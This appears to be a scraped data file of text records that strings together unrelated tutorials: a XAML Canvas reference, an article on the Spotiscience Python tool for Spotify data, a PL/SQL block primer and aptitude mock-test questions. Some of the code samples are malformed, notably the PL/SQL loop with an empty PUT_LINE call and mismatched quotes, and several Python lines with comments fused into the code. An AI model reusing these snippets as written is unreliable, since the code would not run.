"text": "LeftProperty"
},
{
"code": null,
"e": 3216,
"s": 3164,
"text": "Identifies the Canvas. Left XAML attached property."
},
{
"code": null,
"e": 3223,
"s": 3216,
"text": "Margin"
},
{
"code": null,
"e": 3303,
"s": 3223,
"text": "Gets or sets the outer margin of an element. (Inherited from FrameworkElement.)"
},
{
"code": null,
"e": 3308,
"s": 3303,
"text": "Name"
},
{
"code": null,
"e": 3565,
"s": 3308,
"text": "Gets or sets the identifying name of the element. The name provides a reference so that code-behind, such as event handler code, can refer to a markup element after it is constructed during processing by a XAML processor. (Inherited from FrameworkElement.)"
},
{
"code": null,
"e": 3577,
"s": 3565,
"text": "Orientation"
},
{
"code": null,
"e": 3663,
"s": 3577,
"text": "Gets or sets a value that specifies the dimension in which child content is arranged."
},
{
"code": null,
"e": 3670,
"s": 3663,
"text": "Parent"
},
{
"code": null,
"e": 3754,
"s": 3670,
"text": "Gets the logical parent element of this element. (Inherited from FrameworkElement.)"
},
{
"code": null,
"e": 3764,
"s": 3754,
"text": "Resources"
},
{
"code": null,
"e": 3853,
"s": 3764,
"text": "Gets or sets the locally-defined resource dictionary. (Inherited from FrameworkElement.)"
},
{
"code": null,
"e": 3859,
"s": 3853,
"text": "Style"
},
{
"code": null,
"e": 3959,
"s": 3859,
"text": "Gets or sets the style used by this element when it is rendered. (Inherited from FrameworkElement.)"
},
{
"code": null,
"e": 3971,
"s": 3959,
"text": "TopProperty"
},
{
"code": null,
"e": 4022,
"s": 3971,
"text": "Identifies the Canvas. Top XAML attached property."
},
{
"code": null,
"e": 4028,
"s": 4022,
"text": "Width"
},
{
"code": null,
"e": 4102,
"s": 4028,
"text": "Gets or sets the width of the element. (Inherited from FrameworkElement.)"
},
{
"code": null,
"e": 4117,
"s": 4102,
"text": "ZIndexProperty"
},
{
"code": null,
"e": 4171,
"s": 4117,
"text": "Identifies the Canvas. ZIndex XAML attached property."
},
{
"code": null,
"e": 4179,
"s": 4171,
"text": "GetLeft"
},
{
"code": null,
"e": 4261,
"s": 4179,
"text": "Gets the value of the Canvas. Left XAML attached property for the target element."
},
{
"code": null,
"e": 4268,
"s": 4261,
"text": "GetTop"
},
{
"code": null,
"e": 4349,
"s": 4268,
"text": "Gets the value of the Canvas. Top XAML attached property for the target element."
},
{
"code": null,
"e": 4359,
"s": 4349,
"text": "GetZIndex"
},
{
"code": null,
"e": 4443,
"s": 4359,
"text": "Gets the value of the Canvas. ZIndex XAML attached property for the target element."
},
{
"code": null,
"e": 4451,
"s": 4443,
"text": "SetLeft"
},
{
"code": null,
"e": 4531,
"s": 4451,
"text": "Sets the value of the Canvas. Left XAML attached property for a target element."
},
{
"code": null,
"e": 4538,
"s": 4531,
"text": "SetTop"
},
{
"code": null,
"e": 4617,
"s": 4538,
"text": "Sets the value of the Canvas. Top XAML attached property for a target element."
},
{
"code": null,
"e": 4627,
"s": 4617,
"text": "SetZIndex"
},
{
"code": null,
"e": 4709,
"s": 4627,
"text": "Sets the value of the Canvas. ZIndex XAML attached property for a target element."
},
{
"code": null,
"e": 4892,
"s": 4709,
"text": "The following example shows how to add child elements into a Canvas. Here is the XAML implementation in which Rectangles are created inside a Canvas with different offset properties."
},
{
"code": null,
"e": 5648,
"s": 4892,
"text": "<Window x:Class = \"XAMLCanvas.Window1\" \n xmlns = \"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \n xmlns:x = \"http://schemas.microsoft.com/winfx/2006/xaml\" \n Title = \"MainWindow\" Height = \"400\" Width = \"604\"> \n\t\n <Grid> \n <Canvas Width = \"580\" Height = \"360\" > \n <Rectangle Canvas.Left = \"30\" Canvas.Top = \"30\" Fill = \"Red\" Width = \"70\" Height = \"40\" /> \n <Rectangle Canvas.Right = \"30\" Canvas.Top = \"30\" Fill = \"Blue\" Width = \"70\" Height = \"40\" /> \n <Rectangle Canvas.Left = \"30\" Canvas.Bottom = \"30\" Fill = \"Gainsboro\" Width = \"70\" Height = \"40\" /> \n <Rectangle Canvas.Right = \"30\" Canvas.Bottom = \"30\" Fill = \"SaddleBrown\" Width = \"70\" Height = \"40\" /> \n </Canvas> \n </Grid> \n\t\n</Window> "
},
{
"code": null,
"e": 5732,
"s": 5648,
"text": "When you compile and execute the above code, it will produce the following output −"
},
{
"code": null,
"e": 5834,
"s": 5732,
"text": "We recommend you to execute the above example code and experiment with some other properties as well."
},
{
"code": null,
"e": 5841,
"s": 5834,
"text": " Print"
},
{
"code": null,
"e": 5852,
"s": 5841,
"text": " Add Notes"
}
] |
Spotiscience: A Tool for Data Scientists and Music Lovers | by Cristóbal Veas | Towards Data Science
|
Who doesn’t like to work with music? Many of us work all day with Spotify running in the background processes of our computers, while the random music from the playlists and artists that we like are generating a magical atmosphere with their melodies. they deliver that energy necessary to work with full productivity.
In order to integrate my work as a Data Scientist and my passion for music, I decided to create a tool called “Spotiscience”, which allows downloading data of songs, artists, albums, and playlists using the official Spotify API. In addition, this data is modeled to generate new data, such as knowing the mood of a song or the topics of the song lyrics, and finding similar songs, all this sounds very interesting, right? If you want to know more, keep reading this Article!
Download data of songs, albums, playlists and artists from the Spotify API
Download lyrics of songs from API Genius
Predict the music mood of a song
Find most relevant topics of a song lyric
Search similar songs in albums, artist discography, and playlists from Spotify
1.1.1 Initial Settings
1.1.2 Extraction of Song Features
1.1.3 Extraction of Albums
1.1.4 Extraction of Playlists
1.1.5 Extraction of Playlist and Artist Information
1.2.1 Initial Settings
1.2.2 Prediction of Song Mood
1.2.3 Prediction of Topics from Song Lyrics
1.2.4 Prediction of Similar Songs
Spotiscience is a project that I created on GitHub programmed in Python, in which you can interact with the Spotify API and Genius API to extract data and features of songs, albums, artists and playlists. You can also analyze this data to generate new information such as mood prediction, topic modeling, and mathematical distances to find similar songs. To download Spotiscience you can access the Github repository.
github.com
To understand the application and configuration of Spotiscience, I will detail the 2 main classes of this tool:
This class extracts the data from the Spotify API and Genius API.
To use it, it must be set as follows:
import spotiscience#create a dictionary with authorization keysCREDENTIALS = {}CREDENTIALS['client_id'] = "your_spotify_client_id"CREDENTIALS['client_secret'] = "your_spotify_client_secret"CREDENTIALS['redirect_url'] = "your_redirect_url"CREDENTIALS['user_id'] = "your_spotify_user_id"CREDENTIALS['genius_access_token'] = "your_genius_access_token""""You also can set your credentials id on credentials.py"""# returns 'downloader class'sd = spotiscience.SpotiScienceDownloader(credentials=CREDENTIALS)
To obtain the authorization credentials for the Spotify API and Genius API, you can watch the following tutorials:
Authentication Spotify API Tutorial
Authentication Genius API Tutorial
To obtain the “user_id” of your Spotify Account, you need to open the Desktop Spotify Application, go to “profile” and copy the link to profile as follows:
You will obtain this result, your user_id is the part in bold, all the other parts of the link can be deleted.
“https://open.spotify.com/user/{USER_ID}?si=9f52cafadbf148b2”
To extract the features of a song, you should search the song on Spotify and then copy the link of the song as follows:
for this case I copied the link of the song “Blinding Lights” by The Weeknd:
song_copy_link = "https://open.spotify.com/track/0VjIjW4GlUZAMYd2vXMi3b?si=369f90167c9d48fb"song = sd.get_song_features(song_id=song_copy_link)
The result will be a dictionary with the following song features. To obtain more information about these features, you can read the official documentation about Audio Features on Web API Spotify
{'id': '0VjIjW4GlUZAMYd2vXMi3b', 'name': 'Blinding Lights', 'artist': 'The Weeknd', 'album': 'After Hours', 'release_date': '2020-03-20', 'popularity': 94, 'length': 200040, 'acousticness': 0.00146, 'danceability': 0.514, 'energy': 0.73, 'instrumentalness': 9.54e-05, 'liveness': 0.0897, 'valence': 0.334, 'loudness': -5.934, 'speechiness': 0.0598, 'tempo': 171.005, 'key': 1, 'time_signature': 4}
You also can extract the music genre and the lyrics of the song as follows:
# Returns song lyricsd.get_song_lyrics(songname=song['name'],artistname=song['artist'])#Returns song Genresd.get_song_music_genre(song_id=song['id'])
To extract the features of the songs from a album, you must search the album or albums on Spotify and copy the link of the album. The album extraction method has an id parameter that receives a string or list of strings of the albums links and it’s necessary to specify the parameter is_artist in “False”:
#Returns songs features of album or albumsalbums =[‘https://open.spotify.com/album/4yP0hdKOZPNshxUOjY0cZj?si=p5ItRNgXRlarmq4cihAVmA&dl_branch=1',‘https://open.spotify.com/album/6Yf9kML4wT3opmXhTUIfk7?si=clKN-hzuTB236hINPATp-Q&dl_branch=1']sd.get_albums_song_features(id=albums,is_artist=False)
The result will be a dictionary where the keys are the album’s name and the content corresponds to a list with all the features of album’s songs.
It’s also possible to download the discography of an artist, for this case the parameter id just receives a string and It’s necessary to specify is_artist in “True” as follows:
#Returns songs features of artist's discographyartist = 'https://open.spotify.com/artist/4fvA5FEHcdz97gscK90xZa?si=HNLNN7-dS5OR2W9TIUqQug&dl_branch=1'sd.get_albums_song_features(id=artist,is_artist=True)
Song features can be extracted from a playlist as well. For this case, the playlist_id parameter only receives a single string and the total number of songs to be extracted must be specified as follows:
#Return song features of playlistplaylist = ‘https://open.spotify.com/playlist/37i9dQZF1DXcfZ6moR6J0G?si=da1435f1a0804933'sd.get_playlist_song_features(playlist_id=playlist,n_songs=50)
The result will be a dictionary where the key is the name of the playlist and the content corresponds to a list with all the features of playlist songs.
Finally, the main information of a playlist and an artist can be extracted as follows:
playlist = ‘https://open.spotify.com/playlist/37i9dQZF1DXcfZ6moR6J0G?si=da1435f1a0804933'artist = 'metallica'#Returns playlist informationsd.get_playlist_information(playlist_id=playlist)#Returns song informationsd.get_artist_information(artist=artist)
The results will be 2 dictionaries with the information of the playlist and the artist.
To have a better understanding of all the SpotiscienceDownloader methods, you can take a look to the source code of the module downloader.py in the GitHub repo by clicking here.
This class is for modeling song data using classification techniques for supervised learning, topic modeling with natural language processing, and song similarity with mathematical distances.
For setting this class you only needs to call it as follows:
import spotiscience# returns 'predicter class'sp = spotiscience.SpotiSciencePredicter()
To perform song mood prediction, I used a machine learning approach by tagging a group of songs from Mood Playlists created by Spotify, then I trained a model with Random Forest Classifier algorithm to tag songs based on their features.
For more information about this topic, you can read my article of Music Mood Prediction by clicking here
To predict the mood you just have to pass the data of the song extracted with SpotiscienceDownloader as follows:
#returns the tag of mood sp.predict_song_mood(song=song)
The result will be a string with the corresponding mood category, these categories are; “sad, calm, energy and happy”
The topic prediction of song lyrics uses any of the algorithms Latent Dirichlet Allocation Model (LDA), Non Negative Matrix Factorization Model (NMF) or Latent Semantic Indexing Model (LSI). To do this, I based my code on the following article which you can read here.
To predict the topic of lyrics you must configure the following parameters:
lyric = the lyric of the song
model = the model to use [options are “lsi”,”lda” or “nmf”]
lang = language of the song lyric [options are “english” or “spanish”]
n_grams = number of subsence of words to group
n_topics = number of returned topics
top_n = number of words per returned topic
For more information about the parameter n_grams, you can read the official documentation about vectorization with sklearn by clicking here
lyric = song_lyricsmodel = 'lda' (available type 'lda', 'lsi', 'nmf')lang = 'english' (available type 'english','spanish')n_grams = (1,1)n_topics = 1top_n = 5#predict the topics of the song lyricsp.predict_topic_lyric(lyric,model,lang,n_grams,n_topics,top_n)
To predict the similarity of songs, I use the Manhattan Distance (l1) and Euclidean Distance (l2) to calculate the distance among song features and sorting the results in ascending.
to predict song similarity you must to configure the following parameters:
object = reference song to compare
target = group of songs to evaluate in albums, playlist or artist
distance = distance to use [options are “l1” and “l2”]
n_features = number of song features to calculate distance
top_n = number of songs to return in tuple results
For more information about the parameter n_features, you can read the source code of the method by clicking here.
Example 1: Predicting which songs of “Nu Metal Generation” Playlist are most similars to song “Change (In the House of Flies)” by “Deftones”.
playlist_link = "https://open.spotify.com/playlist/37i9dQZF1DXcfZ6moR6J0G?si=452e104160384c8e"song_link = "https://open.spotify.com/track/51c94ac31swyDQj9B3Lzs3?si=5aca903582464acd"target = sd.get_playlist_song_features(playlist_link,n_songs=70)object = sd.get_song_features(song_link)distance = 'l2'n_features = 6top_n = 10#returns most similar songs from playlistsp.predict_similar_songs(object,target,distance,n_features,top_n)
Example 2: Predicting which songs of “Dua Lipa” Discography are most similars to the song “Blinding Lights” by “The Weeknd”
artist_link = "https://open.spotify.com/artist/6M2wZ9GZgrQXHCFfjv46we?si=VJ3J-isZRbSM5x2pNUnrhw&dl_branch=1"song_link = "https://open.spotify.com/track/0VjIjW4GlUZAMYd2vXMi3b?si=369f90167c9d48fb"target = sd.get_albums_song_features(id=artist_link,is_artist=True)object = sd.get_song_features(song_link)distance = 'l2'n_features = 6top_n = 10#returns most similar songs from playlistsp.predict_similar_songs(object,target,distance,n_features,top_n)
The result in both examples is a dictionary where the key is the name of the song of reference (object) and the content is a list of tuples. Each tuple is a pair value of the name of the song, and its distance with the reference song (object).
Note: It’s also possible to predict similar songs in albums without having to download the entire discography of the artist. To do this you can use the album features on the target parameter.
Mixing 2 different areas like data science and music can generate great options that serve to understand how music develops in a culture in constant change, where the sound of an instrument, a poetry lyric, and vocal skills can be interpreted in so many different ways. With the help of technology, we seek to achieve an approximation of these interpretations and meanings to study what is that invisible energy that makes music stay with us throughout the course of our lives. I hope Spotiscience can be one of those technologies that helps Data Scientists, Developers and Music Lovers like me.
|
[
{
"code": null,
"e": 490,
"s": 171,
"text": "Who doesn’t like to work with music? Many of us work all day with Spotify running in the background processes of our computers, while the random music from the playlists and artists that we like are generating a magical atmosphere with their melodies. they deliver that energy necessary to work with full productivity."
},
{
"code": null,
"e": 965,
"s": 490,
"text": "In order to integrate my work as a Data Scientist and my passion for music, I decided to create a tool called “Spotiscience”, which allows downloading data of songs, artists, albums, and playlists using the official Spotify API. In addition, this data is modeled to generate new data, such as knowing the mood of a song or the topics of the song lyrics, and finding similar songs, all this sounds very interesting, right? If you want to know more, keep reading this Article!"
},
{
"code": null,
"e": 1040,
"s": 965,
"text": "Download data of songs, albums, playlists and artists from the Spotify API"
},
{
"code": null,
"e": 1081,
"s": 1040,
"text": "Download lyrics of songs from API Genius"
},
{
"code": null,
"e": 1114,
"s": 1081,
"text": "Predict the music mood of a song"
},
{
"code": null,
"e": 1156,
"s": 1114,
"text": "Find most relevant topics of a song lyric"
},
{
"code": null,
"e": 1235,
"s": 1156,
"text": "Search similar songs in albums, artist discography, and playlists from Spotify"
},
{
"code": null,
"e": 1258,
"s": 1235,
"text": "1.1.1 Initial Settings"
},
{
"code": null,
"e": 1292,
"s": 1258,
"text": "1.1.2 Extraction of Song Features"
},
{
"code": null,
"e": 1319,
"s": 1292,
"text": "1.1.3 Extraction of Albums"
},
{
"code": null,
"e": 1349,
"s": 1319,
"text": "1.1.4 Extraction of Playlists"
},
{
"code": null,
"e": 1401,
"s": 1349,
"text": "1.1.5 Extraction of Playlist and Artist Information"
},
{
"code": null,
"e": 1424,
"s": 1401,
"text": "1.2.1 Initial Settings"
},
{
"code": null,
"e": 1454,
"s": 1424,
"text": "1.2.2 Prediction of Song Mood"
},
{
"code": null,
"e": 1498,
"s": 1454,
"text": "1.2.3 Prediction of Topics from Song Lyrics"
},
{
"code": null,
"e": 1532,
"s": 1498,
"text": "1.2.4 Prediction of Similar Songs"
},
{
"code": null,
"e": 1950,
"s": 1532,
"text": "Spotiscience is a project that I created on GitHub programmed in Python, in which you can interact with the Spotify API and Genius API to extract data and features of songs, albums, artists and playlists. You can also analyze this data to generate new information such as mood prediction, topic modeling, and mathematical distances to find similar songs. To download Spotiscience you can access the Github repository."
},
{
"code": null,
"e": 1961,
"s": 1950,
"text": "github.com"
},
{
"code": null,
"e": 2073,
"s": 1961,
"text": "To understand the application and configuration of Spotiscience, I will detail the 2 main classes of this tool:"
},
{
"code": null,
"e": 2139,
"s": 2073,
"text": "This class extracts the data from the Spotify API and Genius API."
},
{
"code": null,
"e": 2177,
"s": 2139,
"text": "To use it, it must be set as follows:"
},
{
"code": null,
"e": 2679,
"s": 2177,
"text": "import spotiscience#create a dictionary with authorization keysCREDENTIALS = {}CREDENTIALS['client_id'] = \"your_spotify_client_id\"CREDENTIALS['client_secret'] = \"your_spotify_client_secret\"CREDENTIALS['redirect_url'] = \"your_redirect_url\"CREDENTIALS['user_id'] = \"your_spotify_user_id\"CREDENTIALS['genius_access_token'] = \"your_genius_access_token\"\"\"\"You also can set your credentials id on credentials.py\"\"\"# returns 'downloader class'sd = spotiscience.SpotiScienceDownloader(credentials=CREDENTIALS)"
},
{
"code": null,
"e": 2794,
"s": 2679,
"text": "To obtain the authorization credentials for the Spotify API and Genius API, you can watch the following tutorials:"
},
{
"code": null,
"e": 2830,
"s": 2794,
"text": "Authentication Spotify API Tutorial"
},
{
"code": null,
"e": 2865,
"s": 2830,
"text": "Authentication Genius API Tutorial"
},
{
"code": null,
"e": 3021,
"s": 2865,
"text": "To obtain the “user_id” of your Spotify Account, you need to open the Desktop Spotify Application, go to “profile” and copy the link to profile as follows:"
},
{
"code": null,
"e": 3132,
"s": 3021,
"text": "You will obtain this result, your user_id is the part in bold, all the other parts of the link can be deleted."
},
{
"code": null,
"e": 3194,
"s": 3132,
"text": "“https://open.spotify.com/user/{USER_ID}?si=9f52cafadbf148b2”"
},
{
"code": null,
"e": 3314,
"s": 3194,
"text": "To extract the features of a song, you should search the song on Spotify and then copy the link of the song as follows:"
},
{
"code": null,
"e": 3391,
"s": 3314,
"text": "for this case I copied the link of the song “Blinding Lights” by The Weeknd:"
},
{
"code": null,
"e": 3535,
"s": 3391,
"text": "song_copy_link = \"https://open.spotify.com/track/0VjIjW4GlUZAMYd2vXMi3b?si=369f90167c9d48fb\"song = sd.get_song_features(song_id=song_copy_link)"
},
{
"code": null,
"e": 3730,
"s": 3535,
"text": "The result will be a dictionary with the following song features. To obtain more information about these features, you can read the official documentation about Audio Features on Web API Spotify"
},
{
"code": null,
"e": 4128,
"s": 3730,
"text": "{'id': '0VjIjW4GlUZAMYd2vXMi3b', 'name': 'Blinding Lights', 'artist': 'The Weeknd', 'album': 'After Hours', 'release_date': '2020-03-20', 'popularity': 94, 'length': 200040, 'acousticness': 0.00146, 'danceability': 0.514, 'energy': 0.73, 'instrumentalness': 9.54e-05, 'liveness': 0.0897, 'valence': 0.334, 'loudness': -5.934, 'speechiness': 0.0598, 'tempo': 171.005, 'key': 1, 'time_signature': 4}"
},
{
"code": null,
"e": 4204,
"s": 4128,
"text": "You also can extract the music genre and the lyrics of the song as follows:"
},
{
"code": null,
"e": 4354,
"s": 4204,
"text": "# Returns song lyricsd.get_song_lyrics(songname=song['name'],artistname=song['artist'])#Returns song Genresd.get_song_music_genre(song_id=song['id'])"
},
{
"code": null,
"e": 4660,
"s": 4354,
"text": "To extract the features of the songs from a album, you must search the album or albums on Spotify and copy the link of the album. The album extraction method has an id parameter that receives a string or list of strings of the albums links and it’s necessary to specify the parameter is_artist in “False”:"
},
{
"code": null,
"e": 4954,
"s": 4660,
"text": "#Returns songs features of album or albumsalbums =[‘https://open.spotify.com/album/4yP0hdKOZPNshxUOjY0cZj?si=p5ItRNgXRlarmq4cihAVmA&dl_branch=1',‘https://open.spotify.com/album/6Yf9kML4wT3opmXhTUIfk7?si=clKN-hzuTB236hINPATp-Q&dl_branch=1']sd.get_albums_song_features(id=albums,is_artist=False)"
},
{
"code": null,
"e": 5100,
"s": 4954,
"text": "The result will be a dictionary where the keys are the album’s name and the content corresponds to a list with all the features of album’s songs."
},
{
"code": null,
"e": 5277,
"s": 5100,
"text": "It’s also possible to download the discography of an artist, for this case the parameter id just receives a string and It’s necessary to specify is_artist in “True” as follows:"
},
{
"code": null,
"e": 5481,
"s": 5277,
"text": "#Returns songs features of artist's discographyartist = 'https://open.spotify.com/artist/4fvA5FEHcdz97gscK90xZa?si=HNLNN7-dS5OR2W9TIUqQug&dl_branch=1'sd.get_albums_song_features(id=artist,is_artist=True)"
},
{
"code": null,
"e": 5684,
"s": 5481,
"text": "Song features can be extracted from a playlist as well. For this case, the playlist_id parameter only receives a single string and the total number of songs to be extracted must be specified as follows:"
},
{
"code": null,
"e": 5869,
"s": 5684,
"text": "#Return song features of playlistplaylist = ‘https://open.spotify.com/playlist/37i9dQZF1DXcfZ6moR6J0G?si=da1435f1a0804933'sd.get_playlist_song_features(playlist_id=playlist,n_songs=50)"
},
{
"code": null,
"e": 6022,
"s": 5869,
"text": "The result will be a dictionary where the key is the name of the playlist and the content corresponds to a list with all the features of playlist songs."
},
{
"code": null,
"e": 6109,
"s": 6022,
"text": "Finally, the main information of a playlist and an artist can be extracted as follows:"
},
{
"code": null,
"e": 6362,
"s": 6109,
"text": "playlist = ‘https://open.spotify.com/playlist/37i9dQZF1DXcfZ6moR6J0G?si=da1435f1a0804933'artist = 'metallica'#Returns playlist informationsd.get_playlist_information(playlist_id=playlist)#Returns song informationsd.get_artist_information(artist=artist)"
},
{
"code": null,
"e": 6450,
"s": 6362,
"text": "The results will be 2 dictionaries with the information of the playlist and the artist."
},
{
"code": null,
"e": 6628,
"s": 6450,
"text": "To have a better understanding of all the SpotiscienceDownloader methods, you can take a look to the source code of the module downloader.py in the GitHub repo by clicking here."
},
{
"code": null,
"e": 6820,
"s": 6628,
"text": "This class is for modeling song data using classification techniques for supervised learning, topic modeling with natural language processing, and song similarity with mathematical distances."
},
{
"code": null,
"e": 6881,
"s": 6820,
"text": "For setting this class you only needs to call it as follows:"
},
{
"code": null,
"e": 6969,
"s": 6881,
"text": "import spotiscience# returns 'predicter class'sp = spotiscience.SpotiSciencePredicter()"
},
{
"code": null,
"e": 7206,
"s": 6969,
"text": "To perform song mood prediction, I used a machine learning approach by tagging a group of songs from Mood Playlists created by Spotify, then I trained a model with Random Forest Classifier algorithm to tag songs based on their features."
},
{
"code": null,
"e": 7311,
"s": 7206,
"text": "For more information about this topic, you can read my article of Music Mood Prediction by clicking here"
},
{
"code": null,
"e": 7424,
"s": 7311,
"text": "To predict the mood you just have to pass the data of the song extracted with SpotiscienceDownloader as follows:"
},
{
"code": null,
"e": 7481,
"s": 7424,
"text": "#returns the tag of mood sp.predict_song_mood(song=song)"
},
{
"code": null,
"e": 7599,
"s": 7481,
"text": "The result will be a string with the corresponding mood category, these categories are; “sad, calm, energy and happy”"
},
{
"code": null,
"e": 7868,
"s": 7599,
"text": "The topic prediction of song lyrics uses any of the algorithms Latent Dirichlet Allocation Model (LDA), Non Negative Matrix Factorization Model (NMF) or Latent Semantic Indexing Model (LSI). To do this, I based my code on the following article which you can read here."
},
{
"code": null,
"e": 7944,
"s": 7868,
"text": "To predict the topic of lyrics you must configure the following parameters:"
},
{
"code": null,
"e": 7974,
"s": 7944,
"text": "lyric = the lyric of the song"
},
{
"code": null,
"e": 8034,
"s": 7974,
"text": "model = the model to use [options are “lsi”,”lda” or “nmf”]"
},
{
"code": null,
"e": 8105,
"s": 8034,
"text": "lang = language of the song lyric [options are “english” or “spanish”]"
},
{
"code": null,
"e": 8152,
"s": 8105,
"text": "n_grams = number of subsence of words to group"
},
{
"code": null,
"e": 8189,
"s": 8152,
"text": "n_topics = number of returned topics"
},
{
"code": null,
"e": 8232,
"s": 8189,
"text": "top_n = number of words per returned topic"
},
{
"code": null,
"e": 8372,
"s": 8232,
"text": "For more information about the parameter n_grams, you can read the official documentation about vectorization with sklearn by clicking here"
},
{
"code": null,
"e": 8631,
"s": 8372,
"text": "lyric = song_lyricsmodel = 'lda' (available type 'lda', 'lsi', 'nmf')lang = 'english' (available type 'english','spanish')n_grams = (1,1)n_topics = 1top_n = 5#predict the topics of the song lyricsp.predict_topic_lyric(lyric,model,lang,n_grams,n_topics,top_n)"
},
{
"code": null,
"e": 8813,
"s": 8631,
"text": "To predict the similarity of songs, I use the Manhattan Distance (l1) and Euclidean Distance (l2) to calculate the distance among song features and sorting the results in ascending."
},
{
"code": null,
"e": 8888,
"s": 8813,
"text": "to predict song similarity you must to configure the following parameters:"
},
{
"code": null,
"e": 8923,
"s": 8888,
"text": "object = reference song to compare"
},
{
"code": null,
"e": 8989,
"s": 8923,
"text": "target = group of songs to evaluate in albums, playlist or artist"
},
{
"code": null,
"e": 9044,
"s": 8989,
"text": "distance = distance to use [options are “l1” and “l2”]"
},
{
"code": null,
"e": 9103,
"s": 9044,
"text": "n_features = number of song features to calculate distance"
},
{
"code": null,
"e": 9154,
"s": 9103,
"text": "top_n = number of songs to return in tuple results"
},
{
"code": null,
"e": 9268,
"s": 9154,
"text": "For more information about the parameter n_features, you can read the source code of the method by clicking here."
},
{
"code": null,
"e": 9410,
"s": 9268,
"text": "Example 1: Predicting which songs of “Nu Metal Generation” Playlist are most similars to song “Change (In the House of Flies)” by “Deftones”."
},
{
"code": null,
"e": 9842,
"s": 9410,
"text": "playlist_link = \"https://open.spotify.com/playlist/37i9dQZF1DXcfZ6moR6J0G?si=452e104160384c8e\"song_link = \"https://open.spotify.com/track/51c94ac31swyDQj9B3Lzs3?si=5aca903582464acd\"target = sd.get_playlist_song_features(playlist_link,n_songs=70)object = sd.get_song_features(song_link)distance = 'l2'n_features = 6top_n = 10#returns most similar songs from playlistsp.predict_similar_songs(object,target,distance,n_features,top_n)"
},
{
"code": null,
"e": 9966,
"s": 9842,
"text": "Example 2: Predicting which songs of “Dua Lipa” Discography are most similars to the song “Blinding Lights” by “The Weeknd”"
},
{
"code": null,
"e": 10415,
"s": 9966,
"text": "artist_link = \"https://open.spotify.com/artist/6M2wZ9GZgrQXHCFfjv46we?si=VJ3J-isZRbSM5x2pNUnrhw&dl_branch=1\"song_link = \"https://open.spotify.com/track/0VjIjW4GlUZAMYd2vXMi3b?si=369f90167c9d48fb\"target = sd.get_albums_song_features(id=artist_link,is_artist=True)object = sd.get_song_features(song_link)distance = 'l2'n_features = 6top_n = 10#returns most similar songs from playlistsp.predict_similar_songs(object,target,distance,n_features,top_n)"
},
{
"code": null,
"e": 10659,
"s": 10415,
"text": "The result in both examples is a dictionary where the key is the name of the song of reference (object) and the content is a list of tuples. Each tuple is a pair value of the name of the song, and its distance with the reference song (object)."
},
{
"code": null,
"e": 10851,
"s": 10659,
"text": "Note: It’s also possible to predict similar songs in albums without having to download the entire discography of the artist. To do this you can use the album features on the target parameter."
}
] |
Block of PL/SQL in Oracle DBMS
|
PL/SQL is a block structured language i.e the code of PL./SQL is written in the form of blocks. PL/SQL also contains the robustness, security and portability of the Oracle database.
Each block of PL/SQL contains the following subparts −
Declarations - This section contains all the items that needs to be declared before the program such as variables, subprograms etc. This section contains the keyword DECLARE at its start. In general, Declarations is an optional subpart of the PL/SQL program.
Executable Commands - This section of the PL/SQL code contains the executable statements. It contains BEGIN and END at its starting and ending. Executable commands is a compulsory section and it cannot be left blank. In case there are no executable statements, NULL is written to signify this.
Exception Handling - This section contains the code to handle all the errors or exceptions that may arise during the course of the program.Exception handling section starts with the keyword EXCEPTION.
The basic structure of a PL/SQL block is
DECLARE
< Declarations section >
BEGIN
< Executable commands section >
EXCEPTION
< Exception handling section >
END;
An example of a PL/SQL code is −
SET SERVEROUTPUT ON
BEGIN
DBMS_OUTPUT. PUT_LINE
FOR j IN 1..10 LOOP
DBMS_OUTPUT.PUT_LINE(‘Number”|| j );
END LOOP;
END;
This program displays the first ten natural numbers in order.
|
[
{
"code": null,
"e": 1244,
"s": 1062,
"text": "PL/SQL is a block structured language i.e the code of PL./SQL is written in the form of blocks. PL/SQL also contains the robustness, security and portability of the Oracle database."
},
{
"code": null,
"e": 1299,
"s": 1244,
"text": "Each block of PL/SQL contains the following subparts −"
},
{
"code": null,
"e": 1559,
"s": 1299,
"text": "Declarations - This section contains all the items that needs to be declared before the program such as variables, subprograms etc. This section contains the keyword DECLARE at its start. In general, Declarations is an optional subpart of the PL/SQL program."
},
{
"code": null,
"e": 1854,
"s": 1559,
"text": "Executable Commands - This section of the PL/SQL code contains the executable statements. It contains BEGIN and END at its starting and ending. Executable commands is a compulsory section and it cannot be left blank. In case there are no executable statements, NULL is written to signify this."
},
{
"code": null,
"e": 2056,
"s": 1854,
"text": "Exception Handling - This section contains the code to handle all the errors or exceptions that may arise during the course of the program.Exception handling section starts with the keyword EXCEPTION."
},
{
"code": null,
"e": 2097,
"s": 2056,
"text": "The basic structure of a PL/SQL block is"
},
{
"code": null,
"e": 2214,
"s": 2097,
"text": "DECLARE\n< Declarations section >\nBEGIN\n< Executable commands section >\nEXCEPTION\n< Exception handling section >\nEND;"
},
{
"code": null,
"e": 2247,
"s": 2214,
"text": "An example of a PL/SQL code is −"
},
{
"code": null,
"e": 2367,
"s": 2247,
"text": "SET SERVEROUTPUT ON\nBEGIN\nDBMS_OUTPUT. PUT_LINE\nFOR j IN 1..10 LOOP\nDBMS_OUTPUT.PUT_LINE(‘Number”|| j );\nEND LOOP;\nEND;"
},
{
"code": null,
"e": 2429,
"s": 2367,
"text": "This program displays the first ten natural numbers in order."
}
] |
Aptitude Mock Test
|
This section presents you various set of Mock Tests related to Aptitude. You can download these sample mock tests at your local machine and solve offline at your convenience. Every mock test is supplied with a mock test key to let you verify the final score and grade yourself.
Q 1 - The entire surface range of a cuboid 24 cm long, 14 cm wide and 7.5 cm high is:
A - 2520 cm2
B - 1260 cm2
C - 1242 cm2
D - 621 cm2
Zone of the entire surface = 2(Lb+ bh +Lh)
= 2 (24*14 + 14*15/2 + 24* 15/2) cm2
= 2(336+105+180) cm2= (621*2) cm2
= 1242 cm2
Q 2 - The length, expansiveness and tallness of a cuboid are in the proportion 6:5:4 and its entire surface region is 33300 cm2. Its volume is:
A - 45000 cm3
B - 405000 cm3
C - 455000 cm3
D - information deficient
Let length = 6x cm, breadth = 5x cm and height = 4x cm
Whole surface area = 2(lb+ bh + lh)
=2 (6x*5x + 5x *4x + 6x *4x) cm2 = (148x2) cm2
∴148x2= 33300 ⇒x2 = 225 ⇒x = √225 = 15 cm
∴L= 90 cm , B= 75 cm and h= 60 cm
∴Volume = (L*b*h) = (90*75*60) =405000cm3
Q 3 - The length of the askew of a cuboid 30 cm long, 24 cm wide and 18 cm is:
A - 30 cm
B - 15 √2cm
C - 30 √2 cm
D - 60 cm
Length of the diagonal =√ (L 2+ b2+ h2)= √[ (30)2 +( 24)2+(18)2]
